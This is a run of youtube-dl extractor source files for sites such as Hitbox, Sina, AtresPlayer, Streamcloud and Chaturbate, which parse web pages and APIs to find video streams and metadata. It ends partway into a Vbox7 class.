            'description': 'Ringen: KSV Köllerbach gegen Aachen-Walheim; Frauen-Fußball: 1. FC Saarbrücken gegen Sindelfingen; Motorsport: Rallye in Losheim; dazu: Interview mit Timo Bernhard; Turnen: TG Saar; Reitsport: Deutscher Voltigier-Pokal; Badminton: Interview mit Michael Fuchs ',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
        'skip': 'no longer available',
    }, {
        'url': 'http://sr-mediathek.sr-online.de/index.php?seite=7&id=37682',
        'info_dict': {
            'id': '37682',
            'ext': 'mp4',
            'title': 'Love, Cakes and Rock\'n\'Roll',
            'description': 'md5:18bf9763631c7d326c22603681e1123d',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://sr-mediathek.de/index.php?seite=7&id=7480',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        if '>Der gew&uuml;nschte Beitrag ist leider nicht mehr verf&uuml;gbar.<' in webpage:
            raise ExtractorError('Video %s is no longer available' % video_id, expected=True)

        media_collection_url = self._search_regex(
            r'data-mediacollection-ardplayer="([^"]+)"', webpage, 'media collection url')
        info = self._extract_media_info(media_collection_url, webpage, video_id)
        info.update({
            'id': video_id,
            'title': get_element_by_attribute('class', 'ardplayer-title', webpage),
            'description': self._og_search_description(webpage),
            'thumbnail': self._og_search_thumbnail(webpage),
        })
        return info






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import ExtractorError


class CommonMistakesIE(InfoExtractor):
    IE_DESC = False  # Do not list
    _VALID_URL = r'''(?x)
        (?:url|URL)
    '''

    _TESTS = [{
        'url': 'url',
        'only_matching': True,
    }, {
        'url': 'URL',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        msg = (
            'You\'ve asked youtube-dl to download the URL "%s". '
            'That doesn\'t make any sense. '
            'Simply remove the parameter in your command or configuration.'
        ) % url
        if not self._downloader.params.get('verbose'):
            msg += ' Add -v to the command line to see what arguments and configuration youtube-dl got.'
        raise ExtractorError(msg, expected=True)


class UnicodeBOMIE(InfoExtractor):
        IE_DESC = False
        _VALID_URL = r'(?P<bom>\ufeff)(?P<id>.*)$'

        _TESTS = [{
            'url': '\ufeffhttp://www.youtube.com/watch?v=BaW_jenozKc',
            'only_matching': True,
        }]

        def _real_extract(self, url):
            real_url = self._match_id(url)
            self.report_warning(
                'Your URL starts with a Byte Order Mark (BOM). '
                'Removing the BOM and looking for "%s" ...' % real_url)
            return self.url_result(real_url)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    clean_html,
    parse_iso8601,
    float_or_none,
    int_or_none,
    compat_str,
    determine_ext,
)


class HitboxIE(InfoExtractor):
    IE_NAME = 'hitbox'
    _VALID_URL = r'https?://(?:www\.)?hitbox\.tv/video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.hitbox.tv/video/203213',
        'info_dict': {
            'id': '203213',
            'title': 'hitbox @ gamescom, Sub Button Hype extended, Giveaway - hitbox News Update with Oxy',
            'alt_title': 'hitboxlive - Aug 9th #6',
            'description': '',
            'ext': 'mp4',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 215.1666,
            'resolution': 'HD 720p',
            'uploader': 'hitboxlive',
            'view_count': int,
            'timestamp': 1407576133,
            'upload_date': '20140809',
            'categories': ['Live Show'],
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _extract_metadata(self, url, video_id):
        thumb_base = 'https://edge.sf.hitbox.tv'
        metadata = self._download_json(
            '%s/%s' % (url, video_id), video_id,
            'Downloading metadata JSON')

        date = 'media_live_since'
        media_type = 'livestream'
        if metadata.get('media_type') == 'video':
            media_type = 'video'
            date = 'media_date_added'

        video_meta = metadata.get(media_type, [])[0]
        title = video_meta.get('media_status')
        alt_title = video_meta.get('media_title')
        description = clean_html(
            video_meta.get('media_description') or
            video_meta.get('media_description_md'))
        duration = float_or_none(video_meta.get('media_duration'))
        uploader = video_meta.get('media_user_name')
        views = int_or_none(video_meta.get('media_views'))
        timestamp = parse_iso8601(video_meta.get(date), ' ')
        categories = [video_meta.get('category_name')]
        thumbs = [
            {'url': thumb_base + video_meta.get('media_thumbnail'),
             'width': 320,
             'height': 180},
            {'url': thumb_base + video_meta.get('media_thumbnail_large'),
             'width': 768,
             'height': 432},
        ]

        return {
            'id': video_id,
            'title': title,
            'alt_title': alt_title,
            'description': description,
            'ext': 'mp4',
            'thumbnails': thumbs,
            'duration': duration,
            'uploader': uploader,
            'view_count': views,
            'timestamp': timestamp,
            'categories': categories,
        }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        player_config = self._download_json(
            'https://www.hitbox.tv/api/player/config/video/%s' % video_id,
            video_id, 'Downloading video JSON')

        formats = []
        for video in player_config['clip']['bitrates']:
            label = video.get('label')
            if label == 'Auto':
                continue
            video_url = video.get('url')
            if not video_url:
                continue
            bitrate = int_or_none(video.get('bitrate'))
            if determine_ext(video_url) == 'm3u8':
                if not video_url.startswith('http'):
                    continue
                formats.append({
                    'url': video_url,
                    'ext': 'mp4',
                    'tbr': bitrate,
                    'format_note': label,
                    'protocol': 'm3u8_native',
                })
            else:
                formats.append({
                    'url': video_url,
                    'tbr': bitrate,
                    'format_note': label,
                })
        self._sort_formats(formats)

        metadata = self._extract_metadata(
            'https://www.hitbox.tv/api/media/video',
            video_id)
        metadata['formats'] = formats

        return metadata


class HitboxLiveIE(HitboxIE):
    IE_NAME = 'hitbox:live'
    _VALID_URL = r'https?://(?:www\.)?hitbox\.tv/(?!video)(?P<id>.+)'
    _TEST = {
        'url': 'http://www.hitbox.tv/dimak',
        'info_dict': {
            'id': 'dimak',
            'ext': 'mp4',
            'description': 'md5:c9f80fa4410bc588d7faa40003fc7d0e',
            'timestamp': int,
            'upload_date': compat_str,
            'title': compat_str,
            'uploader': 'Dimak',
        },
        'params': {
            # live
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        player_config = self._download_json(
            'https://www.hitbox.tv/api/player/config/live/%s' % video_id,
            video_id)

        formats = []
        cdns = player_config.get('cdns')
        servers = []
        for cdn in cdns:
            # Subscribe URLs are not playable
            if cdn.get('rtmpSubscribe') is True:
                continue
            base_url = cdn.get('netConnectionUrl')
            host = re.search('.+\.([^\.]+\.[^\./]+)/.+', base_url).group(1)
            if base_url not in servers:
                servers.append(base_url)
                for stream in cdn.get('bitrates'):
                    label = stream.get('label')
                    if label == 'Auto':
                        continue
                    stream_url = stream.get('url')
                    if not stream_url:
                        continue
                    bitrate = int_or_none(stream.get('bitrate'))
                    if stream.get('provider') == 'hls' or determine_ext(stream_url) == 'm3u8':
                        if not stream_url.startswith('http'):
                            continue
                        formats.append({
                            'url': stream_url,
                            'ext': 'mp4',
                            'tbr': bitrate,
                            'format_note': label,
                            'rtmp_live': True,
                        })
                    else:
                        formats.append({
                            'url': '%s/%s' % (base_url, stream_url),
                            'ext': 'mp4',
                            'tbr': bitrate,
                            'rtmp_live': True,
                            'format_note': host,
                            'page_url': url,
                            'player_url': 'http://www.hitbox.tv/static/player/flowplayer/flowplayer.commercial-3.2.16.swf',
                        })
        self._sort_formats(formats)

        metadata = self._extract_metadata(
            'https://www.hitbox.tv/api/media/live',
            video_id)
        metadata['formats'] = formats
        metadata['is_live'] = True
        metadata['title'] = self._live_title(metadata.get('title'))

        return metadata






from __future__ import unicode_literals

import re

from .common import InfoExtractor


class WorldStarHipHopIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www|m)\.worldstar(?:candy|hiphop)\.com/(?:videos|android)/video\.php\?v=(?P<id>.*)'
    _TESTS = [{
        'url': 'http://www.worldstarhiphop.com/videos/video.php?v=wshh6a7q1ny0G34ZwuIO',
        'md5': '9d04de741161603bf7071bbf4e883186',
        'info_dict': {
            'id': 'wshh6a7q1ny0G34ZwuIO',
            'ext': 'mp4',
            'title': 'KO Of The Week: MMA Fighter Gets Knocked Out By Swift Head Kick!'
        }
    }, {
        'url': 'http://m.worldstarhiphop.com/android/video.php?v=wshh6a7q1ny0G34ZwuIO',
        'md5': 'dc1c76c83ecc4190bb1eb143899b87d3',
        'info_dict': {
            'id': 'wshh6a7q1ny0G34ZwuIO',
            'ext': 'mp4',
            'title': 'KO Of The Week: MMA Fighter Gets Knocked Out By Swift Head Kick!'
        }
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        m_vevo_id = re.search(r'videoId=(.*?)&amp?', webpage)
        if m_vevo_id is not None:
            return self.url_result('vevo:%s' % m_vevo_id.group(1), ie='Vevo')

        video_url = self._search_regex(
            [r'so\.addVariable\("file","(.*?)"\)',
             r'<div class="artlist">\s*<a[^>]+href="([^"]+)">'],
            webpage, 'video URL')

        if 'youtube' in video_url:
            return self.url_result(video_url, ie='Youtube')

        video_title = self._html_search_regex(
            [r'(?s)<div class="content-heading">\s*<h1>(.*?)</h1>',
             r'<span[^>]+class="tc-sp-pinned-title">(.*)</span>'],
            webpage, 'title')

        # Getting thumbnail and if not thumbnail sets correct title for WSHH candy video.
        thumbnail = self._html_search_regex(
            r'rel="image_src" href="(.*)" />', webpage, 'thumbnail',
            default=None)
        if not thumbnail:
            _title = r'candytitles.*>(.*)</span>'
            mobj = re.search(_title, webpage)
            if mobj is not None:
                video_title = mobj.group(1)

        return {
            'id': video_id,
            'url': video_url,
            'title': video_title,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    determine_protocol,
    parse_duration,
    int_or_none,
)


class Lecture2GoIE(InfoExtractor):
    _VALID_URL = r'https?://lecture2go\.uni-hamburg\.de/veranstaltungen/-/v/(?P<id>\d+)'
    _TEST = {
        'url': 'https://lecture2go.uni-hamburg.de/veranstaltungen/-/v/17473',
        'md5': 'ac02b570883020d208d405d5a3fd2f7f',
        'info_dict': {
            'id': '17473',
            'ext': 'mp4',
            'title': '2 - Endliche Automaten und reguläre Sprachen',
            'creator': 'Frank Heitmann',
            'duration': 5220,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._html_search_regex(r'<em[^>]+class="title">(.+)</em>', webpage, 'title')

        formats = []
        for url in set(re.findall(r'var\s+playerUri\d+\s*=\s*"([^"]+)"', webpage)):
            ext = determine_ext(url)
            protocol = determine_protocol({'url': url})
            if ext == 'f4m':
                formats.extend(self._extract_f4m_formats(url, video_id, f4m_id='hds'))
            elif ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(url, video_id, ext='mp4', m3u8_id='hls'))
            else:
                if protocol == 'rtmp':
                    continue  # XXX: currently broken
                formats.append({
                    'format_id': protocol,
                    'url': url,
                })

        self._sort_formats(formats)

        creator = self._html_search_regex(
            r'<div[^>]+id="description">([^<]+)</div>', webpage, 'creator', fatal=False)
        duration = parse_duration(self._html_search_regex(
            r'Duration:\s*</em>\s*<em[^>]*>([^<]+)</em>', webpage, 'duration', fatal=False))
        view_count = int_or_none(self._html_search_regex(
            r'Views:\s*</em>\s*<em[^>]+>(\d+)</em>', webpage, 'view count', fatal=False))

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'creator': creator,
            'duration': duration,
            'view_count': view_count,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    urlencode_postdata,
)


class StreamcloudIE(InfoExtractor):
    IE_NAME = 'streamcloud.eu'
    _VALID_URL = r'https?://streamcloud\.eu/(?P<id>[a-zA-Z0-9_-]+)(?:/(?P<fname>[^#?]*)\.html)?'

    _TESTS = [{
        'url': 'http://streamcloud.eu/skp9j99s4bpz/youtube-dl_test_video_____________-BaW_jenozKc.mp4.html',
        'md5': '6bea4c7fa5daaacc2a946b7146286686',
        'info_dict': {
            'id': 'skp9j99s4bpz',
            'ext': 'mp4',
            'title': 'youtube-dl test video  \'/\\ ä ↭',
        },
        'skip': 'Only available from the EU'
    }, {
        'url': 'http://streamcloud.eu/ua8cmfh1nbe6/NSHIP-148--KUC-NG--H264-.mp4.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        url = 'http://streamcloud.eu/%s' % video_id

        orig_webpage = self._download_webpage(url, video_id)

        if '>File Not Found<' in orig_webpage:
            raise ExtractorError(
                'Video %s does not exist' % video_id, expected=True)

        fields = re.findall(r'''(?x)<input\s+
            type="(?:hidden|submit)"\s+
            name="([^"]+)"\s+
            (?:id="[^"]+"\s+)?
            value="([^"]*)"
            ''', orig_webpage)

        self._sleep(12, video_id)

        webpage = self._download_webpage(
            url, video_id, data=urlencode_postdata(fields), headers={
                b'Content-Type': b'application/x-www-form-urlencoded',
            })

        try:
            title = self._html_search_regex(
                r'<h1[^>]*>([^<]+)<', webpage, 'title')
            video_url = self._search_regex(
                r'file:\s*"([^"]+)"', webpage, 'video URL')
        except ExtractorError:
            message = self._html_search_regex(
                r'(?s)<div[^>]+class=(["\']).*?msgboxinfo.*?\1[^>]*>(?P<message>.+?)</div>',
                webpage, 'message', default=None, group='message')
            if message:
                raise ExtractorError('%s said: %s' % (self.IE_NAME, message), expected=True)
            raise
        thumbnail = self._search_regex(
            r'image:\s*"([^"]+)"', webpage, 'thumbnail URL', fatal=False)

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'thumbnail': thumbnail,
        }






from __future__ import unicode_literals

import time
import hmac
import hashlib
import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    ExtractorError,
    float_or_none,
    int_or_none,
    sanitized_Request,
    urlencode_postdata,
    xpath_text,
)


class AtresPlayerIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?atresplayer\.com/television/[^/]+/[^/]+/[^/]+/(?P<id>.+?)_\d+\.html'
    _NETRC_MACHINE = 'atresplayer'
    _TESTS = [
        {
            'url': 'http://www.atresplayer.com/television/programas/el-club-de-la-comedia/temporada-4/capitulo-10-especial-solidario-nochebuena_2014122100174.html',
            'md5': 'efd56753cda1bb64df52a3074f62e38a',
            'info_dict': {
                'id': 'capitulo-10-especial-solidario-nochebuena',
                'ext': 'mp4',
                'title': 'Especial Solidario de Nochebuena',
                'description': 'md5:e2d52ff12214fa937107d21064075bf1',
                'duration': 5527.6,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
            'skip': 'This video is only available for registered users'
        },
        {
            'url': 'http://www.atresplayer.com/television/especial/videoencuentros/temporada-1/capitulo-112-david-bustamante_2014121600375.html',
            'md5': '0d0e918533bbd4b263f2de4d197d4aac',
            'info_dict': {
                'id': 'capitulo-112-david-bustamante',
                'ext': 'flv',
                'title': 'David Bustamante',
                'description': 'md5:f33f1c0a05be57f6708d4dd83a3b81c6',
                'duration': 1439.0,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            'url': 'http://www.atresplayer.com/television/series/el-secreto-de-puente-viejo/el-chico-de-los-tres-lunares/capitulo-977-29-12-14_2014122400174.html',
            'only_matching': True,
        },
    ]

    _USER_AGENT = 'Dalvik/1.6.0 (Linux; U; Android 4.3; GT-I9300 Build/JSS15J'
    _MAGIC = 'QWtMLXs414Yo+c#_+Q#K@NN)'
    _TIMESTAMP_SHIFT = 30000

    _TIME_API_URL = 'http://servicios.atresplayer.com/api/admin/time.json'
    _URL_VIDEO_TEMPLATE = 'https://servicios.atresplayer.com/api/urlVideo/{1}/{0}/{1}|{2}|{3}.json'
    _PLAYER_URL_TEMPLATE = 'https://servicios.atresplayer.com/episode/getplayer.json?episodePk=%s'
    _EPISODE_URL_TEMPLATE = 'http://www.atresplayer.com/episodexml/%s'

    _LOGIN_URL = 'https://servicios.atresplayer.com/j_spring_security_check'

    _ERRORS = {
        'UNPUBLISHED': 'We\'re sorry, but this video is not yet available.',
        'DELETED': 'This video has expired and is no longer available for online streaming.',
        'GEOUNPUBLISHED': 'We\'re sorry, but this video is not available in your region due to right restrictions.',
        # 'PREMIUM': 'PREMIUM',
    }

    def _real_initialize(self):
        self._login()

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_form = {
            'j_username': username,
            'j_password': password,
        }

        request = sanitized_Request(
            self._LOGIN_URL, urlencode_postdata(login_form))
        request.add_header('Content-Type', 'application/x-www-form-urlencoded')
        response = self._download_webpage(
            request, None, 'Logging in as %s' % username)

        error = self._html_search_regex(
            r'(?s)<ul class="list_error">(.+?)</ul>', response, 'error', default=None)
        if error:
            raise ExtractorError(
                'Unable to login: %s' % error, expected=True)

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        episode_id = self._search_regex(
            r'episode="([^"]+)"', webpage, 'episode id')

        request = sanitized_Request(
            self._PLAYER_URL_TEMPLATE % episode_id,
            headers={'User-Agent': self._USER_AGENT})
        player = self._download_json(request, episode_id, 'Downloading player JSON')

        episode_type = player.get('typeOfEpisode')
        error_message = self._ERRORS.get(episode_type)
        if error_message:
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, error_message), expected=True)

        formats = []
        video_url = player.get('urlVideo')
        if video_url:
            format_info = {
                'url': video_url,
                'format_id': 'http',
            }
            mobj = re.search(r'(?P<bitrate>\d+)K_(?P<width>\d+)x(?P<height>\d+)', video_url)
            if mobj:
                format_info.update({
                    'width': int_or_none(mobj.group('width')),
                    'height': int_or_none(mobj.group('height')),
                    'tbr': int_or_none(mobj.group('bitrate')),
                })
            formats.append(format_info)

        timestamp = int_or_none(self._download_webpage(
            self._TIME_API_URL,
            video_id, 'Downloading timestamp', fatal=False), 1000, time.time())
        timestamp_shifted = compat_str(timestamp + self._TIMESTAMP_SHIFT)
        token = hmac.new(
            self._MAGIC.encode('ascii'),
            (episode_id + timestamp_shifted).encode('utf-8'), hashlib.md5
        ).hexdigest()

        request = sanitized_Request(
            self._URL_VIDEO_TEMPLATE.format('windows', episode_id, timestamp_shifted, token),
            headers={'User-Agent': self._USER_AGENT})

        fmt_json = self._download_json(
            request, video_id, 'Downloading windows video JSON')

        result = fmt_json.get('resultDes')
        if result.lower() != 'ok':
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, result), expected=True)

        for format_id, video_url in fmt_json['resultObject'].items():
            if format_id == 'token' or not video_url.startswith('http'):
                continue
            if 'geodeswowsmpra3player' in video_url:
                f4m_path = video_url.split('smil:', 1)[-1].split('free_', 1)[0]
                f4m_url = 'http://drg.antena3.com/{0}hds/es/sd.f4m'.format(f4m_path)
                # this videos are protected by DRM, the f4m downloader doesn't support them
                continue
            else:
                f4m_url = video_url[:-9] + '/manifest.f4m'
            formats.extend(self._extract_f4m_formats(f4m_url, video_id, f4m_id='hds', fatal=False))
        self._sort_formats(formats)

        path_data = player.get('pathData')

        episode = self._download_xml(
            self._EPISODE_URL_TEMPLATE % path_data, video_id,
            'Downloading episode XML')

        duration = float_or_none(xpath_text(
            episode, './media/asset/info/technical/contentDuration', 'duration'))

        art = episode.find('./media/asset/info/art')
        title = xpath_text(art, './name', 'title')
        description = xpath_text(art, './description', 'description')
        thumbnail = xpath_text(episode, './media/asset/files/background', 'thumbnail')

        subtitles = {}
        subtitle_url = xpath_text(episode, './media/asset/files/subtitle', 'subtitle')
        if subtitle_url:
            subtitles['es'] = [{
                'ext': 'srt',
                'url': subtitle_url,
            }]

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
            'subtitles': subtitles,
        }






from __future__ import unicode_literals

from .common import InfoExtractor

from ..compat import compat_urlparse
from ..utils import qualities


class TheSceneIE(InfoExtractor):
    _VALID_URL = r'https://thescene\.com/watch/[^/]+/(?P<id>[^/#?]+)'

    _TEST = {
        'url': 'https://thescene.com/watch/vogue/narciso-rodriguez-spring-2013-ready-to-wear',
        'info_dict': {
            'id': '520e8faac2b4c00e3c6e5f43',
            'ext': 'mp4',
            'title': 'Narciso Rodriguez: Spring 2013 Ready-to-Wear',
            'display_id': 'narciso-rodriguez-spring-2013-ready-to-wear',
        },
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        player_url = compat_urlparse.urljoin(
            url,
            self._html_search_regex(
                r'id=\'js-player-script\'[^>]+src=\'(.+?)\'', webpage, 'player url'))

        player = self._download_webpage(player_url, display_id)
        info = self._parse_json(
            self._search_regex(
                r'(?m)var\s+video\s+=\s+({.+?});$', player, 'info json'),
            display_id)

        qualities_order = qualities(('low', 'high'))
        formats = [{
            'format_id': '{0}-{1}'.format(f['type'].split('/')[0], f['quality']),
            'url': f['src'],
            'quality': qualities_order(f['quality']),
        } for f in info['sources'][0]]
        self._sort_formats(formats)

        return {
            'id': info['id'],
            'display_id': display_id,
            'title': info['title'],
            'formats': formats,
            'thumbnail': info.get('poster_frame'),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    HEADRequest,
    ExtractorError,
    int_or_none,
    update_url_query,
    qualities,
    get_element_by_attribute,
    clean_html,
)


class SinaIE(InfoExtractor):
    _VALID_URL = r'''(?x)https?://(?:.*?\.)?video\.sina\.com\.cn/
                        (?:
                            (?:view/|.*\#)(?P<video_id>\d+)|
                            .+?/(?P<pseudo_id>[^/?#]+)(?:\.s?html)|
                            # This is used by external sites like Weibo
                            api/sinawebApi/outplay.php/(?P<token>.+?)\.swf
                        )
                  '''

    _TESTS = [
        {
            'url': 'http://video.sina.com.cn/news/spj/topvideoes20160504/?opsubject_id=top1#250576622',
            'md5': 'd38433e2fc886007729735650ae4b3e9',
            'info_dict': {
                'id': '250576622',
                'ext': 'mp4',
                'title': '现场:克鲁兹宣布退选 特朗普将稳获提名',
            }
        },
        {
            'url': 'http://video.sina.com.cn/v/b/101314253-1290078633.html',
            'info_dict': {
                'id': '101314253',
                'ext': 'flv',
                'title': '军方提高对朝情报监视级别',
            },
            'skip': 'the page does not exist or has been deleted',
        },
        {
            'url': 'http://video.sina.com.cn/view/250587748.html',
            'md5': '3d1807a25c775092aab3bc157fff49b4',
            'info_dict': {
                'id': '250587748',
                'ext': 'mp4',
                'title': '瞬间泪目：8年前汶川地震珍贵视频首曝光',
            },
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        video_id = mobj.group('video_id')
        if not video_id:
            if mobj.group('token') is not None:
                # The video id is in the redirected url
                self.to_screen('Getting video id')
                request = HEADRequest(url)
                (_, urlh) = self._download_webpage_handle(request, 'NA', False)
                return self._real_extract(urlh.geturl())
            else:
                pseudo_id = mobj.group('pseudo_id')
                webpage = self._download_webpage(url, pseudo_id)
                error = get_element_by_attribute('class', 'errtitle', webpage)
                if error:
                    raise ExtractorError('%s said: %s' % (
                        self.IE_NAME, clean_html(error)), expected=True)
                video_id = self._search_regex(
                    r"video_id\s*:\s*'(\d+)'", webpage, 'video id')

        video_data = self._download_json(
            'http://s.video.sina.com.cn/video/h5play',
            video_id, query={'video_id': video_id})
        if video_data['code'] != 1:
            raise ExtractorError('%s said: %s' % (
                self.IE_NAME, video_data['message']), expected=True)
        else:
            video_data = video_data['data']
            title = video_data['title']
            description = video_data.get('description')
            if description:
                description = description.strip()

            preference = qualities(['cif', 'sd', 'hd', 'fhd', 'ffd'])
            formats = []
            for quality_id, quality in video_data.get('videos', {}).get('mp4', {}).items():
                file_api = quality.get('file_api')
                file_id = quality.get('file_id')
                if not file_api or not file_id:
                    continue
                formats.append({
                    'format_id': quality_id,
                    'url': update_url_query(file_api, {'vid': file_id}),
                    'preference': preference(quality_id),
                    'ext': 'mp4',
                })
            self._sort_formats(formats)

            return {
                'id': video_id,
                'title': title,
                'description': description,
                'thumbnail': video_data.get('image'),
                'duration': int_or_none(video_data.get('length')),
                'timestamp': int_or_none(video_data.get('create_time')),
                'formats': formats,
            }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
    unified_strdate,
)


class CamWithHerIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?camwithher\.tv/view_video\.php\?.*\bviewkey=(?P<id>\w+)'

    _TESTS = [{
        'url': 'http://camwithher.tv/view_video.php?viewkey=6e9a24e2c0e842e1f177&page=&viewtype=&category=',
        'info_dict': {
            'id': '5644',
            'ext': 'flv',
            'title': 'Periscope Tease',
            'description': 'In the clouds teasing on periscope to my favorite song',
            'duration': 240,
            'view_count': int,
            'comment_count': int,
            'uploader': 'MileenaK',
            'upload_date': '20160322',
        },
        'params': {
            'skip_download': True,
        }
    }, {
        'url': 'http://camwithher.tv/view_video.php?viewkey=6dfd8b7c97531a459937',
        'only_matching': True,
    }, {
        'url': 'http://camwithher.tv/view_video.php?page=&viewkey=6e9a24e2c0e842e1f177&viewtype=&category=',
        'only_matching': True,
    }, {
        'url': 'http://camwithher.tv/view_video.php?viewkey=b6c3b5bea9515d1a1fc4&page=&viewtype=&category=mv',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        flv_id = self._html_search_regex(
            r'<a[^>]+href=["\']/download/\?v=(\d+)', webpage, 'video id')

        # Video URL construction algorithm is reverse-engineered from cwhplayer.swf
        rtmp_url = 'rtmp://camwithher.tv/clipshare/%s' % (
            ('mp4:%s.mp4' % flv_id) if int(flv_id) > 2010 else flv_id)

        title = self._html_search_regex(
            r'<div[^>]+style="float:left"[^>]*>\s*<h2>(.+?)</h2>', webpage, 'title')
        description = self._html_search_regex(
            r'>Description:</span>(.+?)</div>', webpage, 'description', default=None)

        runtime = self._search_regex(
            r'Runtime\s*:\s*(.+?) \|', webpage, 'duration', default=None)
        if runtime:
            runtime = re.sub(r'[\s-]', '', runtime)
        duration = parse_duration(runtime)
        view_count = int_or_none(self._search_regex(
            r'Views\s*:\s*(\d+)', webpage, 'view count', default=None))
        comment_count = int_or_none(self._search_regex(
            r'Comments\s*:\s*(\d+)', webpage, 'comment count', default=None))

        uploader = self._search_regex(
            r'Added by\s*:\s*<a[^>]+>([^<]+)</a>', webpage, 'uploader', default=None)
        upload_date = unified_strdate(self._search_regex(
            r'Added on\s*:\s*([\d-]+)', webpage, 'upload date', default=None))

        return {
            'id': flv_id,
            'url': rtmp_url,
            'ext': 'flv',
            'no_resume': True,
            'title': title,
            'description': description,
            'duration': duration,
            'view_count': view_count,
            'comment_count': comment_count,
            'uploader': uploader,
            'upload_date': upload_date,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import ExtractorError


class ChaturbateIE(InfoExtractor):
    _VALID_URL = r'https?://(?:[^/]+\.)?chaturbate\.com/(?P<id>[^/?#]+)'
    _TESTS = [{
        'url': 'https://www.chaturbate.com/siswet19/',
        'info_dict': {
            'id': 'siswet19',
            'ext': 'mp4',
            'title': 're:^siswet19 [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'age_limit': 18,
            'is_live': True,
        },
        'params': {
            'skip_download': True,
        },
        'skip': 'Room is offline',
    }, {
        'url': 'https://en.chaturbate.com/siswet19/',
        'only_matching': True,
    }]

    _ROOM_OFFLINE = 'Room is currently offline'

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        m3u8_url = self._search_regex(
            r'src=(["\'])(?P<url>http.+?\.m3u8.*?)\1', webpage,
            'playlist', default=None, group='url')

        if not m3u8_url:
            error = self._search_regex(
                [r'<span[^>]+class=(["\'])desc_span\1[^>]*>(?P<error>[^<]+)</span>',
                 r'<div[^>]+id=(["\'])defchat\1[^>]*>\s*<p><strong>(?P<error>[^<]+)<'],
                webpage, 'error', group='error', default=None)
            if not error:
                if any(p not in webpage for p in (
                        self._ROOM_OFFLINE, 'offline_tipping', 'tip_offline')):
                    error = self._ROOM_OFFLINE
            if error:
                raise ExtractorError(error, expected=True)
            raise ExtractorError('Unable to find stream URL')

        formats = self._extract_m3u8_formats(m3u8_url, video_id, ext='mp4')
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': self._live_title(video_id),
            'thumbnail': 'https://cdn-s.highwebmedia.com/uHK3McUtGCG3SMFcd4ZJsRv8/roomimage/%s.jpg' % video_id,
            'age_limit': self._rta_search(webpage),
            'is_live': True,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class FootyRoomIE(InfoExtractor):
    _VALID_URL = r'https?://footyroom\.com/(?P<id>[^/]+)'
    _TESTS = [{
        'url': 'http://footyroom.com/schalke-04-0-2-real-madrid-2015-02/',
        'info_dict': {
            'id': 'schalke-04-0-2-real-madrid-2015-02',
            'title': 'Schalke 04 0 – 2 Real Madrid',
        },
        'playlist_count': 3,
        'skip': 'Video for this match is not available',
    }, {
        'url': 'http://footyroom.com/georgia-0-2-germany-2015-03/',
        'info_dict': {
            'id': 'georgia-0-2-germany-2015-03',
            'title': 'Georgia 0 – 2 Germany',
        },
        'playlist_count': 1,
    }]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        playlist = self._parse_json(
            self._search_regex(
                r'VideoSelector\.load\((\[.+?\])\);', webpage, 'video selector'),
            playlist_id)

        playlist_title = self._og_search_title(webpage)

        entries = []
        for video in playlist:
            payload = video.get('payload')
            if not payload:
                continue
            playwire_url = self._search_regex(
                r'data-config="([^"]+)"', payload,
                'playwire url', default=None)
            if playwire_url:
                entries.append(self.url_result(self._proto_relative_url(
                    playwire_url, 'http:'), 'Playwire'))

        return self.playlist_result(entries, playlist_id, playlist_title)






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import urlencode_postdata


class Vbox7IE(InfoExtractor):
